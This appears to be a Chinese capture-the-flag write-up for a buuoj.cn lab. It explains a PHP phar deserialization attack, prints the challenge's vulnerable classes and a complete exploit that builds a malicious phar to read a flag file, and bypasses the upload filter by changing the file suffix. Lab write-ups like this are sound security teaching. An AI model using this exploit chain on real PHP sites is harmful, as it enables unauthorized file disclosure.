平台:buuoj.cn
打开靶机有上传和查看文件功能
观察到查看文件url
可以直接读取文件内容
将各个文件源码复制下来主要有以下文件
考点:phar文件上传
先来看class.php,有三个类
C1e4r类对象创建时$name
传递给$str
,对象销毁时$str->$test
并输出$test
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
show类对象创建时$file
传递给$source
并输出,对象被转化为字符串时访问$source
传递给content
并返回,给未定义属性赋值时将$value
传递给$key
,_show
和__wakeup
过滤了一些协议
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
Test类
创建对象时$params
转化为数组,当调用未定义的属性或没有权限访问的属性时__get
方法触发,调用get函数,get函数的$key
传递给file_get函数的$value
,file_get函数再将$value
经过file_get_contents函数处理和base64编码传递给$test
并输出。
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
分析完我们应当是想通过file_get_content来读取我们想要的文件,也就是调用file_get函数,之前分析得知__get->get->file_get
,所以关键是触发__get
方法,那么就要外部访问一个Test类没有或不可访问的属性,我们注意到前面Show类的__tostring
方法
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
访问对象的souce属性,而Test类中是没有这个属性的,让它来访问Test即可触发__get
方法,那么现在的问题变成了__tostring
的触发,看C1e4r类中的__destruct
类
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
echo出test
正好可以触发__tostring
整个pop链就是C1e4r::destruct() -> Show::toString() -> Test::__get()
exp:
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new C1e4r();
$b = new Show();
$c = new Test();
$c->params['source'] = "/var/www/html/f1ag.php";//目标文件
$a->str = $b; //触发__tostring
$b->str['str'] = $c; //触发__get;
$phar = new Phar("exp.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();
?>
上传提示无效,再看一下源码发现限制了上传后缀
$allowed_types = array("gif","jpeg","jpg","png");
那么抓包改一下后缀绕过就行,随便一个,反正上传之后文件名都会改
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
上传成功之后可以在upload目录下看到上传的文件
复制下文件名,用phar协议触发使得phar文件生效
phar://upload/8adc336297a3d5eb2550edc08aa372a8.jpg
那么现在看在哪传,看到file.php
file_exists检查文件或目录是否存在,存在则调用_show
函数,也就是class.php中的_show
这样,就highlight_file出了传递出的f1ag.php
构造
file.php?file=phar://upload/8adc336297a3d5eb2550edc08aa372a8.jpg
get请求得到base编码
解码即得flag